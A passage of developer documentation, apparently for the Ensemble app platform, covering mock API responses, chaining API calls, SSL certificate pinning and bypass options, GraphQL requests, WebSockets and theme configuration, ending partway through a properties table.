app.useMockResponse = true; +``` +this sets the `useMockResponse` in the persistent storage but namespaces it by the appId i.e. _useMockResponse. + +For example: +RaRwIu1NasUOUsuJ0OuO_useMockResponse = true; +will be set in storage automatically for an app with id = 'RaRwIu1NasUOUsuJ0OuO' + +you can check the value by just doing - +```javascript +if ( app.useMockResponse ) {...} +``` +By namespacing it, we can ensure that in ensemble live (or studio preview), one app's `useMockResponse` setting is not leaked into another app. + +In theory, you can bind to it as well as it is just another value in the storage. Remember to bind to `_userMockResponse` where should be replaced by your app's id without the <>. for example - RaRwIu1NasUOUsuJ0OuO_useMockResponse + +You can obtain appId for your app anytime by doing - +```javascript +appInfo.appId +``` + +## 2. Specify mock data on the API definitions +Mock data can be specified in 2 different ways, each offering flexibility and customization options to meet your development and testing needs. +### Inline on the API +Below is an example of an API definition, where `mockResponse` property is utilized to specify the inline mock data, which includes a `body` object containing mock data elements such as `title` and `list`. Additionally, response `headers` can be defined to simulate various scenarios. This approach is useful for quickly defining and modifying mock data directly within the API definition. +```yaml + slowAPI: + inputs: + - uniqueId + mockResponse: + #inline mock response + body: + title: I am mock data + list: + - name: mock first + - name: mock second + - name: mock third + - name: ${uniqueId} + #can set response headers as well + headers: + - authToken: absbsbxssjjs + url: https://openlibrary.org/search.json?q=the+lord+of+the+rings + onResponse: |- + console.log('slowAPI='+uniqueId); + response.body.list.push({name: 'adding in onResponse - '+uniqueId}); +``` + +### Return mock data from a function +```yaml + mockDataFromFunction: + inputs: + - uniqueId + mockResponse: ${getMockResponse()} + url: https://openlibrary.org/search.json?q=the+lord+of+the+rings + onResponse: |- + console.log('mockDataFromFunction='+uniqueId); + response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); +``` +The above API `mockDataFromFunction` endpoint utilizes a function to generate and return mock data dynamically. The `mockResponse` property references the `getMockResponse()` function, which is responsible for generating the mock data. The function could be defined either in the `Global` script block on the current screen or in a separate script and imported in. This method offers greater flexibility and allows for more complex mock data generation logic. +```javascript +var abc = 'var abc'; +function getMockResponse() { + return { + body: { + title: 'hello from mockResponse' + abc, + list: [ + {name: 'mockResponse1'}, + {name: 'mockResponse2'}, + {name: 'mockResponse3'}, + {name: 'mockResponse4'}, + {name: 'mockResponse5'} + ] + } + }; +} +``` +- Response from mock API can be used in a similar way as real API. To understand the utilization of API responses, detailed documentation is available [here](access-api-response). +### Mocking an error response +You can simply set `statusCode` property of the error to a specified status code such as "500" and `reasonPhrase` property to provide bit of description related to the error. +```yaml + mockError: + inputs: + - uniqueId + mockResponse: + body: + statusCode: 500 + reasonPhrase: mock bad request + + url: https://openlibrary.org/search.json?q=the+lord+of+the+rings + onResponse: |- + console.log('mockDataFromFunction='+uniqueId); + response.body.list.push({name: 'mockDataFromFunction adding in onResponse - '+uniqueId}); + onError: + showToast: + message: error occurred ${response.statusCode} ${response.reasonPhrase} + options: + duration: 5 +``` + +--- + +# Chaining APIs + +Chaining APIs, i.e. making sequential API calls, is a practice in app development when you need to retrieve and use data from multiple APIs in a specific order. Chaining APIs allows you to build more complex workflows and gather the necessary information for your application. + +```yaml +onLoad: + invokeAPI: + name: getuser + onResponse: + invokeAPI: + name: getcurrentUserContacts + inputs: + userId: ${getUser.body.id} +``` + +**Sequential API Calls:** +The onResponse event for each API call specifies the next API call to be made after the current one is successfully completed. +For example, after the initial API call named "getuser", the onResponse event triggers the "getcurrentUserContacts" API call. + +--- + +# SSL Configuration + +SSL (Secure Sockets Layer) configuration in Ensemble allows you to secure your API communications through certificate pinning and verification controls. This guide explains both global and per-API SSL configuration options and their proper usage. + +## Configuration Levels + +Ensemble supports SSL configuration at two levels: + +1. **Global Configuration** - Applied to all APIs by default using environment variables and secrets +2. **Per-API Configuration** - Overrides global settings for specific APIs using the `sslConfig` property + +## Global SSL Configuration + +### Environment Variables + +These settings apply to all APIs unless overridden by per-API configuration: + +#### ssl_pinning_enabled +- **Type:** Environment Variable +- **Purpose:** Controls whether SSL certificate pinning is active globally +- **Values:** 'true' or 'false' +- **Default:** false +- **Availability:** Only supported in native apps (not available for web apps) + +#### bypass_ssl_pinning +- **Type:** Environment Variable +- **Purpose:** Allows bypassing SSL certificate verification globally +- **Values:** 'true' or 'false' +- **Default:** false +- **Warning:** Should only be used in development environments, never in production + +#### bypass_ssl_pinning_with_validation +- **Type:** Environment Variable +- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints +- **Values:** 'true' or 'false' +- **Default:** false +- **Usage:** Compares current certificate fingerprint with stored fingerprint from secure storage + +### Secrets + +#### ssl_pinning_certificate +- **Type:** Secret +- **Purpose:** Provides the certificate for SSL pinning verification +- **Format:** Must be Base64 encoded +- **Behavior:** The app will only trust servers presenting this certificate +- **Dependencies:** Requires `ssl_pinning_enabled` to be 'true' + +## Per-API SSL Configuration + +For more granular control, you can override global SSL settings for individual APIs using the `sslConfig` property in your API definition. + +### Basic Syntax + +```yaml +API: + mySecureAPI: + uri: https://api.example.com/data + method: GET + sslConfig: + pinningEnabled: true + bypassPinning: false + bypassPinningWithFingerprint: false + fingerprintKey: "api_example_com_fingerprint" + headers: + Authorization: Bearer ${token} +``` + +### sslConfig Properties + +#### pinningEnabled +- **Type:** Boolean +- **Purpose:** Enable/disable SSL certificate pinning for this specific API +- **Values:** true or false +- **Overrides:** Global `ssl_pinning_enabled` environment variable +- **Example:** `pinningEnabled: true` + +#### bypassPinning +- **Type:** Boolean +- **Purpose:** Bypass SSL certificate verification for this specific API +- **Values:** true or false +- **Overrides:** Global `bypass_ssl_pinning` environment variable +- **Warning:** Use only in development +- **Example:** `bypassPinning: true` + +#### bypassPinningWithFingerprint +- **Type:** Boolean +- **Purpose:** Bypass SSL pinning while validating against stored certificate fingerprints +- **Values:** true or false +- **Overrides:** Global `bypass_ssl_pinning_with_validation` environment variable +- **Example:** `bypassPinningWithFingerprint: true` +- **Requirement:** `fingerprintKey` should be set with the same key given in API defination as secureStorage. + +#### fingerprintKey +- **Type:** String +- **Purpose:** Specifies the key in secure storage where the certificate fingerprint is stored +- **Default:** "bypass_ssl_fingerprint" +- **Usage:** Used with `bypassPinningWithFingerprint` to retrieve the stored certificate fingerprint for validation +- **Example:** `fingerprintKey: "api_example_com_fingerprint"` + +## Certificate Fingerprint Management + +When using `bypassPinningWithFingerprint`, you need to store the certificate fingerprint in secure storage. There are two main approaches: + +### Method 1: Using Ensemble's setSecureStorage Action + +Store the certificate fingerprint manually using Ensemble's secure storage: + +```yaml +Button: + label: Store Certificate Fingerprint + onTap: + setSecureStorage: + key: "api_example_com_fingerprint" + value: "a1b2c3d4e5f6..." # SHA256 fingerprint of the certificate + onComplete: + showToast: + message: Certificate fingerprint stored +``` + +### Method 2: Using External Methods (Dynamic Certificate Capture) + +For dynamic certificate capture, you can expose external methods from your host application: + +#### Host Application Setup (Flutter/Dart Example) + +```dart +// In your main.dart or wherever you initialize EnsembleApp +Future> captureCertificateForHost({ + required String host, + int port = 443 +}) async { + HttpClient httpClient = HttpClient(); + httpClient.connectionTimeout = const Duration(seconds: 10); + + String sha256Certificate = ''; + + httpClient.badCertificateCallback = (X509Certificate cert, String certHost, int certPort) { + if (certHost.toLowerCase() == host.toLowerCase()) { + sha256Certificate = sha256.convert(cert.der).toString(); + return true; + } + return false; + }; + + try { + HttpClientRequest request = await httpClient.getUrl(Uri.parse('https://$host:$port/')); + HttpClientResponse response = await request.close(); + await response.drain(); + httpClient.close(); + + if (sha256Certificate != '') { + await StorageManager().writeSecurely( + key: 'bypass_ssl_certificate', + value: sha256Certificate, + ); + return {'status': true, 'fingerprint': sha256Certificate}; + } else { + return {'success': false, 'error': 'Failed to capture certificate'}; + } + } catch (e) { + return {'success': false, 'error': e.toString()}; + } +} + +// Register the external method +EnsembleApp( + externalMethods: const { + 'captureCertificateForHost': captureCertificateForHost, + }, + // ... other properties +) +``` + +#### Using External Method in Ensemble EDL + +```yaml +View: + onLoad: + callExternalMethod: + name: captureCertificateForHost + payload: + host: ${HOST} + port: ${PORT_NUMBER} + onComplete: + invokeAPI: + name: secureAPI + onError: + showToast: + message: "Failed to capture certificate: ${response.error}" + options: + type: error + +API: + secureAPI: + uri: ${HOST}/endpoint + method: GET + sslConfig: + bypassPinningWithFingerprint: true + fingerprintKey: "api_fingerprint" + headers: + Authorization: Bearer ${token} +``` + + + +## Configuration Examples + +### Example 1: High-Security API with Certificate Pinning + +```yaml +API: + paymentAPI: + uri: https://secure-payment.example.com/process + method: POST + sslConfig: + pinningEnabled: true + bypassPinning: false + bypassPinningWithFingerprint: false + headers: + Authorization: Bearer ${paymentToken} + Content-Type: application/json + body: + amount: ${amount} + currency: USD +``` + +### Example 2: Development API with SSL Bypass + +```yaml +API: + devTestAPI: + uri: https://dev-server.example.com/test + method: GET + sslConfig: + pinningEnabled: false + bypassPinning: true # Only for development! + bypassPinningWithFingerprint: false + headers: + Authorization: Bearer ${devToken} +``` + +## Security Best Practices + +1. **Production Environment**: Always use certificate pinning (`pinningEnabled: true`) for production APIs +2. **Development Environment**: Use `bypassPinning: true` only during development +3. **Dynamic Environments**: Use `bypassPinningWithFingerprint: true` when dealing with dynamic certificates or multiple environments +4. **Certificate Storage**: Store certificate fingerprints securely using `setSecureStorage` or external methods + +--- + +# GraphQL + +Use Case (Social Media): GraphQL is particularly beneficial in scenarios like social media, where large-scale data is involved. It allows clients to request only the specific data they need, leading to quicker response times (1-2 seconds). +Efficiency: GraphQL enables clients to specify the exact data they want in a single query, reducing over-fetching and under-fetching. + +```yaml + inputs: + - GQLInput + uri: ${env['graphQL_URL_'ensemble.storage]} + method: POST + headers: + Authorization: Bearer ${ensemble.storage.token.exp_token} + ContentType: "application/json" + body: + "query": |- + mutation UpdatePost($input: CreateUpdatePostInput!) {} + "variables": ${GQLInput} +``` + +HTTP Method: +GraphQL APIs typically use the HTTP POST method. In your example, the method is specified as POST. +```yaml +method: POST +``` + +URI (Uniform Resource Identifier): +The URI is typically a single endpoint for GraphQL APIs. In your example, the URI is parameterized with an environment variable (assuming graphQL_URL_ensemble.storage is provided at runtime). +```yaml +uri: ${env['graphQL_URL_'ensemble.storage]} +``` + +Headers: +GraphQL API requests often include headers for authentication or specifying the content type. In your example, you have headers for Authorization (Bearer token) and ContentType (set to "application/json"). +```yaml +headers: + Authorization: Bearer ${ensemble.storage.token.exp_token} + ContentType: "application/json" +``` + +Request Body: +GraphQL API requests use a structured query language in the request body. The key part here is the "query" field, where you define the GraphQL query or mutation. In your example, you are using a mutation called "UpdatePost," and the query is parameterized with ${GQLInput}. +```yaml +body: + "query": |- + mutation UpdatePost($input: CreateUpdatePostInput!) {} + "variables": ${GQLInput} +``` + +--- + +# Using WebSockets + +The Websockets feature enables bidirectional communication between client and server, facilitating real-time data exchange. + + +## Define a WebSocket + +The WebSocket configuration includes settings for connecting to the WebSocket server, handling connection events, and managing data exchange. + +`spark`: Represents the WebSocket connection to the specified URI (`wss://spark.ensembleui.com/example/ws/`). + +```yaml +Socket: + spark: + uri: wss://spark.ensembleui.com/example/ws/ + onSuccess: | + status.text = "connected"; + onDisconnect: | + status.text = "disconnected"; + onReconnectAttempt: | + status.text = "reconnecting"; + onReceive: | + console.log(spark.data); +``` + +## Interact with WebSockets + +Ensemble supports following actions for WebSockets: + +1. Connect Socket: Establishes a connection to the specified socket. + +```yaml + - Button: + label: Connect Action + onTap: + connectSocket: + name: spark +``` + +2. Disconnect Socket: Terminates the connection to the specified socket. + +```yaml + - Button: + label: Disconnect Action + onTap: + disconnectSocket: + name: spark +``` + +3. Message Socket: Sends a message over the specified socket. + +```yaml + - Button: + label: SendMessage Action + onTap: + messageSocket: + name: spark + message: + "content": "Hello there" +``` + +--- + +# Theme + +From color schemes to typography, widgets, and transition options, our comprehensive range of theme elements allows you to effortlessly personalize your app. Discover how themes can transform your online presence, create a cohesive brand identity, and provide a delightful user experience. Unlock the full potential of your app with our versatile and user-friendly theme customization features. + +[Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) + +## Where to find it ? + +You can find the theme on Left-Side of the panel in ensemble studio after you have selected your App. + +image + +## Defining one theme + +You can define one or more themes for our app and switch between them dynamically. If you only need one theme, you can just define the `Styles` without any `Theme` tag, see the following example. + +```yaml +Tokens: + Colors: + primary: + '900': '#1A2A4C' + '800': '#243B6A' + '700': '#2F4D89' + '600': '#0077B8' + '500': '#0092E0' + '400': '#33B8FF' + '300': '#70CDFF' + '200': '#ADE4FF' + '100': '#D6F1FF' + '50': '#EBF5FF' +Styles: + Button: + backgroundColor: ${Colors.primary['800']} + .submitButton: + backgroundColor: green +``` + +## Defining multiple themes + +Use Case: Allow your users to switch between differnt themes to personalize the look and feel of your app to their tastes. Save the theme that the user selected and automatically apply it everytime user opens the app. + +You can define one or more themes for our app and switch between them dynamically. See [Kitchen Sink Example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/theme) for a detailed example. + +## Defining themes for different languages + +Use Case: The primary use case is to define a different `fontFamily` for each language as some font families are more optimized for particular languages . You can go much further and define entirely different themes per language as well and allow users to switch between them. + +You can define multiple different themes for each language. This is of course optional. +- Ensemble platform will automatically pick the default theme for a language based on the language of the user's device. +- If none of the themes are marked as `default`, first theme for the language is selected. +- If a theme is not defined for the language, the default theme from the list of themes (or the first one) is applied. + +Here's how to define themes per language (also called locale) - + +```yaml +Themes: +# this is the list of all available themes + - Common + - PrimaryTheme: + default: true + - SecondaryTheme + - RTLTheme: + +LocaleThemes: +#this is the list of themes per locale. Note that the following themes must be present in the list of `Themes` above + en: #language code - https://www.science.co.il/language/Locale-codes.php is used to identify the language for the theme + - SecondaryTheme: + default: true + - PrimaryTheme + ur: + - RTLTheme: + default: true + - SecondaryTheme + ar: + - RTLTheme +``` +The [language code](https://www.science.co.il/language/Locale-codes.php) is used to identify the language. + +## Checking and Switching Themes in Javascript + +```javascript +var themes = app.themes; //returns a list of all configured themes +var currentTheme = app.theme; //currently applied theme +app.theme = 'newTheme'; //change themes dynamically. The theme name must be in the list of Themes in the theme definition. +``` + +In the following EDL, a `DropDown` widget is bound to the list of `themes` that have been configured in the app and allows user to swtich from one theme to another. + +**Example:** + +Bind the `themes` to a dropdown and let user switch themes from all the available themes. +```yaml + - Dropdown: + label: Pick a Theme + items: ${app.themes} + value: ${app.theme} + onChange: + executeCode: + body: | + app.theme = this.value; +``` + +## Savings themes in storage so they can be applied across application sessions + +A common requirement from theming is to be able to persist a theme that user has selected across multiple application sessions i.e. even when the user kills the app and relaunches, the theme s/he selected should automatically apply. Ensemble provides that capability by storing themes in local storage. + +At application startup time, Ensemble platform checks if there is a saved theme and if that theme exists in the list of theme definitions. If both conditions are true, it automatically applies the saved theme instead of the default theme configured in the app. + +Application developers have the following functions available to them. +```javascript +//save theme in storage, this will automatically be applied by the platform on startup +//note that saveTheme does NOT apply a theme, it merely saves it. use app.theme = 'myNewTheme'; to change themes dynamically, +app.saveTheme('myNewTheme'); +//retrieve the saved theme +var savedTheme = app.getSavedTheme(); //there can only be one saved theme +//or remove the saved theme from storage +app.removeSavedTheme(); +``` + +## Text Styles are automatically inherited unless overriden +All text styles (for example - `fontSize`, `fontFamily`, `color` etc) can be defined at the `View`, `Column`, `Row` or any of the top widget level and will automatically be inherited by all `Text` widgets. Note that labels for `Button` etc do not inherit these styles. + +**Example:** +```yaml +View: + className: topView +#rest of your screen definition +``` +And over in your Theme +```yaml + Styles: + .topView: + backgroundColor: ${Colors.gray['200']} + textStyle: + fontWeight: ${Typography.fontWeight['700']} + fontSize: ${Typography.fontSize['xl']} +``` +All `Text` in the screen will inherit these text styles. You can specify the style at the `View` node and then all Text widgets across your whole app would inherit those text styles + +## Parts of a Theme + +- Tokens (optional) +- Styles (in precedence order) + - Inline - specified directly on the widget + - ID based - specified with `#` before the name in the Theme.Styles + - Style Classes - specified as `className` attribute on a widget. One or more space delimited classes + - Widget type - specified for the widget type such as Button in the Theme.Styles + - Inherited from parent - these are limited to `textStyle` only (see above) + +Here's an explanation of the different parts of a theme: + +**1. Tokens (Optional):** + +Tokens are named collections of values typically used for colors, fonts, and spacing. They provide a way to define reusable values across your theme and avoid code duplication. These tokens are then used inside the `Styles` with the expression syntax, for example `${Colors.gray['200']}` + +**Example:** + +```yaml +Light: + label: Light Theme + description: This theme turns everything light as in white background and is default + inheritsFrom: Common + Tokens: + Colors: + teal: + '900': '#014451' + '800': '#05505C' + '700': '#036672' + '600': '#047481' + '500': '#0694A2' + '400': '#16BDCA' + '300': '#7EDCE2' + '200': '#AFECEF' + '100': '#D5F5F6' + '50': '#EDFAFA' + Styles: + Button: + borderRadius: 20 + .submit: + backgroundColor: ${Colors.teal['800']} + labelStyle: + color: white + fontFamily: ${Typography.fontFamily} +``` + +**2. Styles (Precedence Order):** + +Styles define how different UI elements will appear. Ensemble applies styles based on their **precedence**, with higher precedence styles overriding lower ones. Here's the order of precedence, from highest to lowest: + +* **Inline Styles:** Styles defined directly on the widget using the `style` attribute. +* **Style Classes:** Styles defined in the theme and applied to a widget using the `className` attribute (space-separated list of classes). +* **ID-based Styles:** Styles defined in the theme using an ID selector (preceded by `#`). +* **Widget Type Styles:** Styles defined for a specific widget type (e.g., `Button`). + +**Example of Styles defined in a Theme:** + +```yaml +Light: + Styles: + # ID-based style + '#heading': + fontSize: 24 + fontWeight: bold + + # Widget type style + Button: + backgroundColor: ${Colors.primary} + color: white + + # Style class + .error: + color: red +``` +**Example of Inline styles and specifying classes** +```yaml +Button: + styles: + backgroundColor: red + className: commonButton submitButton #here two classes are applied in order i.e. the styles defines in the list of classes are merged in the order they are specified. +``` +**Specificity:** + +Similar to CSS, styles in Ensemble with higher specificity will override those with lower specificity. Specificity is determined by the number and type of selectors used in the style definition. Inline styles and styles specified by the ID-based styles have the highest specificity, followed by classes and then widget type styles. + +By understanding the different parts of a theme and how inheritance and specificity work, you can create well-structured, maintainable, and reusable themes for your Ensemble applications. + +## Theme Inheritance in Ensemble + +Ensemble allows you to create reusable and organized themes using inheritance, similar to how CSS works. This lets you define common styles in a base theme and then have other themes inherit and modify those styles as needed. + +### Benefits of Theme Inheritance + +* **Reduces code duplication:** Define common styles once in a base theme and avoid repeating them in other themes. +* **Improved maintainability:** Makes changes to common styles easier to manage as they are centralized in the base theme. +* **Theming hierarchy:** Build a clear hierarchy of themes, making it easier to understand how styles are applied. + +### How Inheritance Works + +1. **Base Theme:** Define a theme (e.g., `Common`) containing the styles you want to share with other themes. You can define multiple base themes +2. **Inheriting Theme:** Define another theme (e.g., `Light`) and specify the base theme it inherits from using the `inheritsFrom` property. A base theme may inherit from another theme forming a chain +3. **Overriding Styles:** The inheriting theme can override any styles from the base theme by defining the same styles with different values. + +### Example + +Here's an example demonstrating theme inheritance: + +**Common Theme:** + +```yaml +Common: + label: Common theme + Tokens: + Colors: + primary: '#0077B8' + gray: + '200': '#f2f2f2' + '300': '#e0e0e0' + Styles: + .topView: + backgroundColor: ${Colors.gray['200']} + Button: + borderRadius: 20 + backgroundColor: red +``` + +**Light Theme (inherits from Common):** + +```yaml +Light: + label: Light Theme + description: Light theme with white background + inheritsFrom: Common + Tokens: + Colors: + teal: # New color palette for Light theme + '500': '#0694A2' + Styles: + Button: + backgroundColor: ${Colors.teal['500']} # Inherits primary from Common and overrides with teal + labelStyle: + color: white +``` + +**Explanation:** + +* `Light` theme inherits styles and tokens from the `Common` theme. +* `Light` theme overrides the `backgroundColor` of the `Button` style with its own `teal` color. +* `Light` theme's `Button` inherits the `borderRadius` from `Common` theme +* Other styles from `Common` (like `.topView`) are still applied to the `Light` theme. + +This example demonstrates how you can define a common base theme and then create specific themes like `Light` and `Dark` that inherit and modify styles as needed. + + + +### Properties + +Now let us see what properties does it have on larger level + +| Property | Type | Description | +| :---------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| material3 | boolean | If set true, material3 will be applied else material2. see [here](https://material.io/blog/migrating-material-3) for more details about Material Design 2 vs 3. | +| Text | object | [see properties](#text) | +| Colors | object | [see properties](#colors) | +| Widgets | object | [see properties](#widgets) | +| Transitions | object | [see properties](#transitions) | + +### Text + +| Property | Type | Description | +| :------------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontFamily | string or object | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). You can specify the fontFamily name directly or specify a different fontFamily for each language, see [Here](../translations.mdx#optionally-configure-different-fontfamily-for-each-language-your-app-supports) | +| displayLarge | object | Largest of display styles . As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | +| displayMedium | object | Middle size of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | +| displaySmall | object | Smallest of the display styles. As the largest text on the screen, display styles are reserved for short, important text or numerals. They work best on large screens. [see properties](#textstyle) | +| headlineLarge | object | Largest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | +| headlineMedium | object | Middle size of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens.[see properties](#textstyle) | +| headlineSmall | object | Smallest of the headline styles. Headline styles are smaller than display styles. They're best-suited for short, high-emphasis text on smaller screens. [see properties](#textstyle) | +| titleLarge | object | Largest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text.[see properties](#textstyle) | +| titleMedium | object | Middle size of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | +| titleSmall | object | Smallest of the title styles. Titles are smaller than headline styles and should be used for shorter, medium-emphasis text. [see properties](#textstyle) | +| bodyLarge | object | Largest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | +| bodyMedium | object | Middle size of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | +| bodySmall | object | Smallest of the body styles. Body styles are used for longer passages of text. [see properties](#textstyle) | +| labelLarge | object | Largest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | +| labelMedium | object | Middle size of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | +| labelSmall | object | Smallest of the label styles. Label styles are smaller, utilitarian styles, used for areas of the UI such as text inside of components or very small supporting text in the content body, like captions. [see properties](#textstyle) | + +#### TextStyle + +| Property | Type | Description | +| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| fontSize | integer | Sets the size of the text. | +| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +### Colors + +| Property | Type | Description | +| :--------------------------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| seed | string or integer | Generate color schema based on seed color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange`. [more here]() | +| primary | string or integer | Primary color of your App (e.g button color, focus color, ...). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| onPrimary | string or integer | The color overlay on top of your primary color (e.g button text). The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| secondary | string or integer | The Secondary color of your App. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| onSecondary | string or integer | The color overlay on top of your secondary color. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabled | string or integer | Color when a widget is disabled. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| loadingScreenBackgroundColor | string or integer | The background color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| loadingScreenIndicatorColor | string or integer | The progress indicator color while a screen is loading. The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | + +### Widgets + +*All the style properties for a widget are available to you to be set as part of the theme. Following is just a sample.* + +| Property | Type | Description | +| :------- | :----- | :------------------------ | +| Input | object | [see properties](#input) Applies to all form input such as DateRange, TextInput etc| +| Button | object | [see properties](#button) | + +#### Input + +| Property | Type | Description | +| :---------------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| variant | string | Select a pre-defined look and feel for Input widgets [see properties](#options-for-inputvariant) | +| fillColor | string or integer | The fill color for applicable input fields (TextInput, Dropdown, ...). which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderRadius | integer | The border radius for applicable Input widgets. | +| borderWidth | integer | The border width for applicable Input widgets. | +| borderColor | integer or string | The base border color for applicable input fields. This border color determines the look and feel of your inputs, while the other colors are overrides for different states, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| disabledBorderColor | integer or string | The border color when input fields are disabled, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| errorBorderColor | integer or string | The border color when there are errors on the input fields, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| focusedBorderColor | integer or string | The border color of the input field when it is receiving focus | +| focusedErrorBorderColor | integer or string | The border color of the input field when it is receiving focus in its error state, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| hintStyle | object | [see properties](#textstyle) | + +#### Button + +| Property | Type | Description | +| :-------------- | :---------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | +| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| borderWidth | integer | Thickness of the border. Minimum value should be 0. | +| color | integer or string | The color specification for the text, icons, divider etc, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | +| padding | string or integer | Padding with CSS-style value | + +#### options for Input.variant + +| Property | Description | +| :-------- | :--------------------------------------------------------- | +| underline | Draw an Underline below applicable input widgets (default) | +| box | Draw a Box border around applicable input widgets | + +### Transitions + +| Property | Type | Description | +| :------- | :----- | :--------------------------------------------------------- | +| page | object | [see properties](#properties-for-transitionspage) | +| modal | object | Same properties as the `page` property except `alignment`. | + +#### Properties for Transitions.page + +| Property | Type | Description | +| :-------- | :------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| type | string | Kind of transition types. Can read more about it [here](#animations-in-ensembleui). Possible values are `fade`,`rightToLeft`,`leftToRight`,`topToBottom`,`bottomToTop`,`scale`,`rotate`,`size`,`rightToLeftWithFade`,`leftToRightWithFade`,`leftToRightPop`,`rightToLeftPop`,`topToBottomPop`,`bottomToTopPop` | +| 